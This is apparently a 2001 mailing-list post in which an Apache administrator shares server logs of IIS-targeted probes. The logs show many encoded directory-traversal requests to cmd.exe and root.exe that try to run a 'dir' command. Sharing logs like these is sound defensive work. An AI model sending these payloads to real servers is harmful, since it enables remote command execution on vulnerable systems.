-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 My apache server is getting hit with similar IIS-targeted requests. Below are the most recent requests (from 10am today) for anyone that's interested.
[12-26-01 10:19] 209.16.230.176 (-166,0) 404 "GET /scripts/root.exe?/c+dir HTTP/1.0" [12-26-01 10:19] 209.16.230.176 (-190,0) 404 "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" [12-26-01 10:19] 209.16.230.176 (-191,0) 404 "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" [12-26-01 10:19] 209.16.230.176 (-191,0) 404 "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" [12-26-01 10:19] 209.16.230.176 (-191,0) 404 "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" [12-26-01 10:19] 209.16.230.176 (-191,0) 404 "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" [12-26-01 10:19] 209.16.230.176 (-284,0) 400 "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" [12-26-01 10:19] 209.16.230.176 (-284,0) 400 "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" [12-26-01 10:19] 209.16.230.176 (-194,0) 404 "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" [12-26-01 10:19] 209.16.230.176 (-190,0) 404 "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" [12-26-01 10:30] 209.73.250.131 (-166,0) 404 "GET /scripts/root.exe?/c+dir HTTP/1.0" [12-26-01 10:30] 209.73.250.131 (-190,1) 404 "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" [12-26-01 10:30] 209.73.250.131 (-191,1) 404 "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" [12-26-01 10:30] 209.73.250.131 (-191,0) 404 "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" [12-26-01 10:30] 209.73.250.131 (-191,0) 404 "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" [12-26-01 10:30] 209.73.250.131 (-191,0) 404 "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" [12-26-01 10:30] 209.73.250.131 (-284,0) 400 "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" [12-26-01 10:30] 209.73.250.131 (-284,0) 400 "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" [12-26-01 10:30] 209.73.250.131 (-194,0) 404 "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" [12-26-01 10:30] 209.73.250.131 (-190,0) 404 "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com> iQA/AwUBPCn8ucaXTGgZdrSUEQJsDgCeIk7hK6vBELJD60CwKOujH6olEDoAoN36 HhtiPMC4BuPkGlxVHA7DlyKU =vuko -----END PGP SIGNATURE-----
